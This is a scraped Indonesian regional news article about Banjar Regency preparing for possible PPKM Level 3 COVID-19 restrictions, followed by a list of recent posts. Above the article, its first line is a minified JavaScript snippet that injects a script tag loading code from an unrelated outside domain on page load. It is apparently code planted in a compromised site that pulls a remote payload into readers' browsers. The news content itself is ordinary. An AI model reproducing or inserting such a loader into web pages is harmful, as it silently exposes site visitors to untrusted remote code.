(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pemkab Banjar Persiapkan PPKM Level 3


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar menyiapkan kemungkinan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 3.

Hal ini mengemuka dalam rapat koordinasi mingguan yang dilaksanakan pada Senin (26/7/2021) di Mahligai Sultan Adam Martapura.

Rapat Koordinasi dipimpin Bupati Banjar H Saidi Mansyur didampingi Wakil Bupati Banjar Said Idrus Al Habsyie, Sekda Banjar HM Hilman dan perwakilan SKPD Kabupaten Banjar dan seluruh camat se Kabupaten Banjar.

Sebagaimana diketahui, Kabupaten Banjar berbatasan dengan dua kota di Provinsi Kalimantan Selatan yang mulai menerapkan PPKM level 4.

 

 

Baca juga: PPKM Level 4 Berlaku di Banjarbaru-Banjarmasin, 11 Daerah Masuk ‘Daftar Hitam’ PPKM Level 3

Rakor mingguan yang rutin digelar setiap Senin diawali dengan penandatanganan surat pernyataan komitmen pelaksanaan reformasi birokrasi oleh Kepala Dinas Kependudukan dan Catatan Sipil Kabupaten Banjar kepada Inspektur Kabupaten Banjar, Dinas Lingkungan Hidup Kabupaten Banjar dan Dinas Perpustakaan dan Kearsipan Kabupaten Banjar.

Bupati Banjar H Saidi Mansyur menginstruksikan agar diharapkan akhir RPJMD dapat 80% tercapai untuk reformasi birokrasi.

Bupati menyinggung terkait perlunya menyiapkan diri kemungkinan pemberlakuan PPKM level 3 di Kabupaten Banjar. Saidi Mansyur meminta laporan ketersedian tabung oksigen dan rawat inap di Rumah Sakit Ratu Zalecha dan rumah sakit lainnya di Kabupaten Banjar.

“Bagaimana kesiapan kita melingkupi berbagai kebutuhan pasien Covid-19, termasuk ketersediaan oksigen di rumah sakit,” ujarnya.

Baca juga: STOP PRESS. PPKM Level 4 di Banjarbaru Dimulai, Ini Aturan Lengkapnya! 

Sementara itu, Kepala Dinas Kesehatan Kabupaten Banjar dr Diauddin menjelaskan, mengenai situasi kasus aktif Covid saat ini ada 321 orang yang dirawat di RSUD Ratu Zalecha.

Sedangkan ketersediaan oksigen masih ada dan cukup stabil untuk 12 kecamatan di Kabupaten Banjar yang masuk zona merah.

Seperti diketahui berdasarkan Inmendagri Nomor 23 Tahun 2021, PPKM level 3 diberlakukan pembatasan-pembatasan kegiatan masyarakat. Pemkab Banjar belum memutuskan bagaimana pembatasan yang akan dilakukan, namun akan dibicarakan dalam rapat lanjutan. (kanalkalimantan.com/mcbanjar)

Editor: kk

 


Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

6 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

6 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

7 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

7 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

8 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

10 jam ago

This website uses cookies.